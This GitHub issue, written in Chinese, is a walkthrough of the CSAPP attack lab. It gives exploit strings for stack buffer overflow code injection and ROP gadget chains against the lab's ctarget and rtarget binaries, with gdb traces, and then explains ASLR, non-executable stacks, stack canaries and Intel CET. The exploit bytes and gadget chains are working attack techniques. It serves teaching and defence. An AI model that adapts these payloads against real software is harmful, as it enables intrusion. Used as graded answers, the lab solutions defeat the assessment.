Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

缓冲区溢出原理及实验 #144

Open
zhangyachen opened this issue Jun 10, 2019 · 2 comments
Open

缓冲区溢出原理及实验 #144

zhangyachen opened this issue Jun 10, 2019 · 2 comments

Comments

@zhangyachen
Copy link
Owner

zhangyachen commented Jun 10, 2019

欢迎大家关注我的知乎账号:https://www.zhihu.com/people/zhangyachen

朋友们可以关注下我的公众号,获得最及时的更新:

image

缓冲区溢出试验是CSAPP课后试验之一,目的是:

  • 更好的理解什么是缓冲区溢出
  • 如何攻击带有缓冲区溢出漏洞的程序
  • 如何编写出更加安全的代码
  • 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性

我们可以使用代码注入(code-injection)和返回导向编程(return-oriented-programming)两种攻击手段分别攻击试验提供的ctarget和rtarget程序。

ctarget和rtarget会使用getbuf函数从标准输入中读取用户输入:

unsigned getbuf(){
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

Gets函数和标准库gets函数很相似,这里会从标准输入读取输入并将输入的字符串存储到buf里。而且Gets函数无法判断BUFFER_SIZE是否足够大,所以我们利用这一点进行缓冲区溢出攻击。

Part I : Code Injection Attacks

Level 1

试验目的

在这个阶段,我们不会注入新的代码,而是利用我们输入的exploit string诱使程序执行一段已有的程序。
上面提到过的getbuf函数会被test函数调用:

void test(){
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

正常情况下,执行完getbuf函数后,程序会接着执行下面的printf函数。但是我们想改变这一正常的行为,当执行完getbuf函数后,执行下面的touch1函数,而不是回到调用的地方执行printf函数:

void touch1(){
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

solution

既然要改变函数返回地址,思路就是利用我们的exploit string覆盖栈上的返回地址。

QQ20190607-164531@2x

查看getbuf函数:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq
  4017be:   90                      nop
  4017bf:   90                      nop

查看执行完sub $0x28,%rsp指令的栈空间:

(gdb) x /6x $rsp
0x5561dc78:     0x0000000000068310	0x00000000000000f4
0x5561dc88:     0x000000005561dcc0	0x0000000000000000
0x5561dc98:     0x0000000055586000	0x0000000000401976
(gdb) info symbol 0x0000000000401976
test + 14 in section .text of /home/xiaoju/target1/ctarget

可以看出0x0000000000401976为test函数调用getbuf的下一条指令的地址,我们只需要恰当的构造输入,把0x0000000000401976替换成touch1的地址即可。touch1的地址是0x00000000004017c0。所以输入字符串的结构就是40个随机字节 + 0x00000000004017c0(注意小端字节序的问题):

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA c0 17 40 00 00 00 00 00

使用实验提供的工具hex2raw进行编码:

./hex2raw < exploit1.txt > exploit1.raw

验证结果:

./ctarget -q < exploit1.raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget

成功。

使用gdb验证一下:

(gdb) x/6xg $rsp
0x5561dc78:     0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa
0x5561dc88:     0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa
0x5561dc98:     0xaaaaaaaaaaaaaaaa	0x00000000004017c0     ------> 覆盖成功
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>:	c3	retq
(gdb) ni
0x00000000004017c0 in touch1 ()       ------> 调到touch1函数
=> 0x00000000004017c0 <touch1+0>:	48 83 ec 08     sub    $0x8,%rsp     

Level 2

试验目的

第二阶段我们会在exploit string中包含一小部分代码段来完成我们的攻击。
在ctarget中包含touch2函数:

void touch2(unsigned val){
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
         printf("Touch2!: You called touch2(0x%.8x)\n", val);
         validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

我们的目的是保证执行getbuf函数后执行touch2函数而不是返回到test函数,并保证touch2的参数val == cookie.

solution

与上面一样,我们需要覆盖栈上正常的返回地址。区别是:执行完getbuf后需要跳到我们自己写的一小段代码(exploit string的一部分),将cookie的值放到寄存器上,最后跳到touch2函数。

QQ20190607-164531@2x

以下是上面提到的代码段:

movq $0x59b997fa,%rdi       # move cookie value into rdi
pushq $0x4017ec                 # push touch2 address
retq

解释:

  • 在x86-64系统中,用户级别的函数参数通过寄存器传递,%rdi,%rsi,%rdx,%rcx,%r8,%r9依次对应第1参数,第2参数.....我们将Cookie的值传递给rdi寄存器即可。
  • 查看touch2函数地址:
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:     sub    $0x8,%rsp

将地址push到栈上。

  • 利用retq指令将栈顶地址弹出,调用touch2函数

使用gcc和objdump将上述汇编指令转换为16进制:

$gcc -c exploit2.s
$objdump -d exploit2.o

exploit2.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

可得16进制为48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

接下来需要确定的事情是,这段代码放在哪里?我们选择放到getbuf函数里buf变量的起始地址:

Breakpoint 1, 0x00000000004017a8 in getbuf ()
=> 0x00000000004017a8 <getbuf+0>:	48 83 ec 28     sub    $0x28,%rsp
(gdb) ni
0x00000000004017ac in getbuf ()
=> 0x00000000004017ac <getbuf+4>:	48 89 e7        mov    %rsp,%rdi
(gdb) info register $rsp   
rsp            0x5561dc78	0x5561dc78        ---------> buf变量地址

所以我们的exploit string就确定下来了,13字节的指令 + 27个随机字节 + buf变量地址:

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 dc 61 55 00 00 00 00

使用实验提供的工具hex2raw进行编码:

./hex2raw < exploit2.txt > exploit2.raw

验证结果:

$./ctarget -q < exploit2.raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 DC 61 55 00 00 00 00

成功。

使用gdb验证一下:

(gdb) x/6xg $rsp
0x5561dc78:     0x6859b997fac7c748	0xaaaaaac3004017ec
0x5561dc88:     0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa
0x5561dc98:     0xaaaaaaaaaaaaaaaa	0x000000005561dc78      -------> 覆盖成功
(gdb) ni
0x00000000004017b9 in getbuf ()
=> 0x00000000004017b9 <getbuf+17>:	48 83 c4 28     add    $0x28,%rsp
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>:	c3	retq
(gdb) ni
0x000000005561dc78 in ?? ()
=> 0x000000005561dc78:  48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi        ------>开始执行exploit string
(gdb) ni
0x000000005561dc7f in ?? ()
=> 0x000000005561dc7f:  68 ec 17 40 00  pushq  $0x4017ec
(gdb) ni
0x000000005561dc84 in ?? ()
=> 0x000000005561dc84:  c3	retq
(gdb) ni
0x00000000004017ec in touch2 ()        --------> 执行touch2
=> 0x00000000004017ec <touch2+0>:	48 83 ec 08     sub    $0x8,%rsp
(gdb) info register $rdi            
rdi            0x59b997fa	1505335290             -----------> rdi寄存器值正确,为cookie值

Level 3

试验目的

在ctarget中,有hexmatch和touch3函数:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

我们的目的是在执行完getbuf函数后跳到touch3并使得hexmatch(cookie, sval)判断为真。

solution

这个和level2很像,区别是需要将字符串的地址当做参数传递给touch3。问题是这个字符串放在哪里?
如果放到getbuf栈帧里,我们可以观察到,在hexmatch内存在大量的push栈操作,并且hexmatch内的s变量地址是随机的,很可能会覆盖我们注入的字符串:

/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;

所以最保险的方式是将字符串放到getbuf的父栈帧中,即test栈帧里。

QQ20190607-164531@2x

Breakpoint 1, 0x00000000004017a8 in getbuf ()
=> 0x00000000004017a8 <getbuf+0>:	48 83 ec 28     sub    $0x28,%rsp
(gdb) x	/2xg $rsp
0x5561dca0:     0x0000000000401976	0x0000000000000002      ------->    可以将注入的cookie值放到这里
(gdb) info symbol 0x0000000000401976          
test + 14 in section .text of /home/xiaoju/target1/ctarget

与level2一样,我们需要编写一小段代码,首先跳到这段代码,将刚才cookie的地址赋给%rdi,即touch3的参数,再跳到touch3。这段代码同样放到buf变量地址即可:

movq $0x5561dca8,%rdi     /**   cookie address */
push $0x4018fa        /** touch3 address  **/
retq

这个和level2差不多,不细说了。我们将这段汇编转成十六进制即可。

所以我们的exploit string的构成就是:汇编代码 + 随机字节 + buf变量地址 + cookie字符串。

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
$cat exploit3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

成功。

这里就不用gdb验证了,和上面差不多

防御代码注入

栈随机化

可以看到在level2和level3的攻击中,我们不仅插入了攻击代码,在插入了指向这段攻击代码的指针。而这个前提就是——我们知道攻击代码放在哪里,因为buf的地址在每次程序运行时是确定的。
栈随机化就是栈的位置在每次程序运行时都有变化。实现方式是:在程序开始时,在栈上分配一段0-n的随机大小字节空间,程序不使用这段空间,n必须足够大来保证地址的随机变化性,但是又要足够小,保证不浪费过多的空间。

#include <stdio.h>

void main(){
    long local;
    printf("%p\n",&local);
}
$./a.out
0x7ffda9994a18
xiaoju@csapp_zyc ~$./a.out
0x7fff4749e1f8
xiaoju@csapp_zyc ~$./a.out
0x7ffd31dbe0f8
xiaoju@csapp_zyc ~$./a.out
0x7ffd080704e8

在32位linux上,地址变化的范围大小大概在2^23,在64位linux上,大概在2^32。

关闭ASLR看看:

$setarch `uname -m` -R ./a.out
0x7fffffffdf18
$setarch `uname -m` -R ./a.out
0x7fffffffdf18
$setarch `uname -m` -R ./a.out
0x7fffffffdf18

明显看出变量的地址每次都是一样的,说明栈空间的起始地址是固定的。

在Linux系统中,栈随机化已经变成了一种标准化的行为。它是更大的一类技术中的一种,成为地址空间布局随机化(Address-Space Layout Randomization),简称ASLR.每次运行时,程序的不同部分都会被加载到不同的区域:

0
Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
1
Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
2
Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

但是有一种简单的方法可以攻破栈随机化:nop sled(nop slide),即在攻击代码之前插入一段nop,只要攻击者能够猜中序列中的某个地址,程序就会“滑”到攻击代码处完成攻击。

QQ20190607-164531@2x

举个例子:我们经过很多次试验,发现栈空间地址范围在2^13个地址范围内,我们尝试128个字节的nop sled的缓冲区溢出,要穷尽所有的起始地址,我们只需要2^(13 - 7)=64次尝试即可。

所以,ASLR能增加系统攻击难度,但是不能完全提供安全保障。

限制可执行代码区域

在level2和level3中,我们都在栈上插入了代码去执行。所以,一种可行的防止缓冲区溢出的方法是限制哪些内存区域能够存放可执行代码。
许多系统对操作系统虚拟内存的页提供3种访问控制形式:读(从内存读数据)、写(向内存写数据)、可执行(将内存的内容看做机器的代码段)。在之前的x86体系中,读和可执行被合并成了1个,意味着页可读必定就是可执行。对于栈来说,必定是可读可写,同时也意味着可执行。
AMD为它的64位处理器的内存提供了不执行位,由硬件检测,效率没有损失。

栈破坏检测

在上面的所有试验中,我们均覆盖了正常的返回地址并改成了我们想要的地址。如果我们可以检测出返回地址发生变化的话,就基本可以判断出发生了缓冲区溢出攻击。

最新版本的gcc在产生的代码中加入了栈保护者机制(stack protector),来检测缓冲区越界。思想是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的金丝雀(canary)值。

image

金丝雀值是每次运行时随机产生的,在恢复寄存器和从函数返回之前,程序会检查金丝雀的值是否被改变,如果改变的话,程序则异常终止。

在我的机器上,gcc默认关闭栈破坏检测功能,我们手动打开:

gcc -fstack-protector -O0 -g b.c
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400560 <+0>:	push   %rbp
   0x0000000000400561 <+1>:	mov    %rsp,%rbp
   0x0000000000400564 <+4>:	sub    $0x20,%rsp
   0x0000000000400568 <+8>:	mov    %fs:0x28,%rax                 ---------> 利用段寻址从内存读出金丝雀值(可以不用纠结段寻址,是一种比较古老的寻址方式)
   0x0000000000400571 <+17>:	mov    %rax,-0x8(%rbp)             -----------> 放到内存中
   0x0000000000400575 <+21>:	xor    %eax,%eax
   0x0000000000400577 <+23>:	mov    $0x0,%eax
   0x000000000040057c <+28>:	mov    -0x8(%rbp),%rdx           ---------> 取出金丝雀值
   0x0000000000400580 <+32>:	xor    %fs:0x28,%rdx                 ----------> 比较
   0x0000000000400589 <+41>:	je     0x400590 <main+48>
   0x000000000040058b <+43>:	callq  0x40040c <__stack_chk_fail@plt>            ---------> 失败终止
   0x0000000000400590 <+48>:	leaveq
   0x0000000000400591 <+49>:	retq
End of assembler dump.

而且在有保护模式的代码中,字符数组是最靠近栈底的,而在非保护模式中,一般是按照声明顺序来的。这样可以防止攻击字符串只覆盖函数内的其他变量而不改变返回地址。

但是,不是所有的版本的gcc都支持栈破坏检测,并且比较关键的一点是:ASLR并不会随机化Text segment。聪明的人们(为什么聪明的人总是不包括我)设计出了一种从已有代码段中提取有用代码片段去执行而不是插入新代码的方法,这种方法叫做ROP(Return-oriented programming)返回导向编程。

ROP介绍

ROP是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行)。业界大牛已经过充分研究并证明ROP方法是图灵完备的,换句话说, ROP可以借用libc的指令实现任何逻辑功能。

ROP的攻击方法是借用代码段里面的多个retq前的一段指令拼凑成一段有效的逻辑,从而达到攻击的目标。这段指令一般称之为gadget,即gadget + retq。我们可以利用多个reqt跳到不同的gadget来实现我们完整的攻击流。

image

c3是retq的十六进制表示。

举个例子:

void setval_210(unsigned *p){
    *p = 3347663060U;
}

汇编表示我们会发现有用的gadget:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

48 89 c7代表着movq %rax, %rdi,并且后面跟着retq。所以这段代码的gadget从0x400f18开始,会从%rax寄存器拷贝一个64字节的数据到%rdi寄存器。

在试验中提供了rtarget文件,包含了若干了gadget。我们的目的就是利用这若干个gadget去完成我们的攻击。值得注意的是,gadget在函数start_farm和end_farm之间。

有用的指令序列如下:
image

image

Part II : ROP

Level4

试验目的

在这一步中,我们重复level2的攻击,但是需要在rtarget中利用rop完成攻击,并且只能使用两个gadget.

solution

注意到gadget包括popq指令,所以我们可以把cookie值放到栈中,利用popq弹出到一个寄存器内,之后movq到%rdi寄存器即可。至于是直接popq到%rdi寄存器还是采用刚才说的顺序,取决于已有代码段中有没有合适的gadget.(答案是没有..)

经过观察已有gadget,我们发现可以把值pop到%rax寄存器中:

popq %rax
movq %rax, %rdi
00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax           ------> 58 90 c3 代表popq %rax
  4019ad:   c3
00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)      ------> 48 89 c7 代表movq %rax,%rdi
  4019c9:   c3

所以我们的exploit string是:

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA        //40随机字节
ab 19 40 00 00 00 00 00       //gadget popq %rax
fa 97 b9 59 00 00 00 00       //cookie,用于pop到%rax上
c5 19 40 00 00 00 00 00      //gadget movq %rax,%rdi
ec 17 40 00 00 00 00 00      //touch2地址

验证:

cat exploit4.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

成功。

用gdb验证一下:

0x00000000004017b9 in getbuf ()
=> 0x00000000004017b9 <getbuf+17>:	48 83 c4 28     add    $0x28,%rsp
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>:	c3	retq
(gdb) ni
0x00000000004019ab in addval_219 ()       ------> gadget
=> 0x00000000004019ab <addval_219+4>:   58	pop    %rax
(gdb) ni
0x00000000004019ac in addval_219 ()
=> 0x00000000004019ac <addval_219+5>:   90	nop
(gdb) ni
0x00000000004019ad in addval_219 ()
=> 0x00000000004019ad <addval_219+6>:   c3	retq
(gdb) ni
0x00000000004019c5 in setval_426 ()         ------> gadget
=> 0x00000000004019c5 <setval_426+2>:   48 89 c7        mov    %rax,%rdi
(gdb) ni
0x00000000004019c8 in setval_426 ()
=> 0x00000000004019c8 <setval_426+5>:   90	nop
(gdb) ni
0x00000000004019c9 in setval_426 ()
=> 0x00000000004019c9 <setval_426+6>:   c3	retq
(gdb) ni
0x00000000004017ec in touch2  ()         -------> touch2
=> 0x00000000004017ec <touch2+0>:	48 83 ec 08     sub    $0x8,%rsp

Level 5

试验目的

达到level3的效果

solution

这个跟上一个比,是换汤不换药,就是更复杂了一点。直接说下我的做法:

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
06 1a 40 00 00 00 00 00     /* movq %rsp,%rax */
a2 19 40 00 00 00 00 00     /* movq %rax,%rdi */
ab 19 40 00 00 00 00 00     /* popq %rax */
48 00 00 00 00 00 00 00     /* cookie offset */
dd 19 40 00 00 00 00 00     /* movl %eax,%edx */
69 1a 40 00 00 00 00 00     /* movl %edx,%ecx */
13 1a 40 00 00 00 00 00     /* movl %ecx,%esi */
d6 19 40 00 00 00 00 00     /* lea (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00     /* movq %rax,%rdi */
fa 18 40 00 00 00 00 00     /* touch3 address */
35 39 62 39 39 37 66 61     /* cookie */
00 00 00 00 00 00 00 00

重点就是利用lea指令将cookie的地址放到%rdi寄存器上。

ROP可以为所欲为

引用使用ROP攻击技术中的一段:

上面提到已有研究员称ROP攻击借用的多个代码片段串起来的程序逻加是图灵完备的,也即这个程序包含顺序执行语句(这个当然是废话),还有分支语句,甚至有循环语句。
稍有反编译或者逆向工程经验,或者对C语言生成的汇编结构熟悉都知道,retq指令是函数的返回指令,在此之前的指令是弹栈指令(如pop rax, pop rbx等),怎么可以出现分支指仅(bne等),甚至循环指令呢?
是的,这个是事实,但不是事实的全部。如果将glibc进行逆向工程,会发现retq指令前向全是清一色的pop指令,但是事实上攻击者总是不按常规出牌。
X86指令集是CISR指令集,密集度很高,一条指令中的一部分,也可能是一条新指令。
攻击者就是利用这一点,不按常规出牌。retq指令就只有一个字节,是C3。通过编写工具,对glibc进行扫描,把C3的指令内容找到,然后向前解码各种可能的指令,形成一个指令表。这些指令表会是非常丰富,有运算指令,转跳指令,以及访存指令。利用它们可以形成图灵完备的计算逻辑。

防御ROP

Return-into-libc 攻击及其防御中提到了ROP的防御方式,这里不再赘述。

英特尔尝试在CPU级别干掉缓冲区溢出中提到:

英特尔正在推广一项很灵活的技术。该技术可以在处理器层面上阻挡恶意软件感染,其相关细节已经在上周四发表。实际上是这样:英特尔称之为控制流强制技术 (Control-flow Enforcement Technology, CET) 尝试阻挠会使用面向返回编程 (Return-orientated programming, ROP) 和面向跳转编程 (Jump-orientated programming, JOP) 的漏洞利用代码。

缓冲区溢出是一个很长久的话题,衍生出了很多种攻击手段和防御手段,更多可以参考下面的参考资料。

参考资料:

@guanpengchn
Copy link

厉害了呀,还被推荐了,为啥是前端的

@zhangyachen
Copy link
Owner Author

厉害了呀,还被推荐了,为啥是前端的

那个是啥推荐。。没听说过。。

@zhangyachen zhangyachen changed the title CSAPP 缓冲区溢出试验 缓冲区溢出原理及实验 Jun 29, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants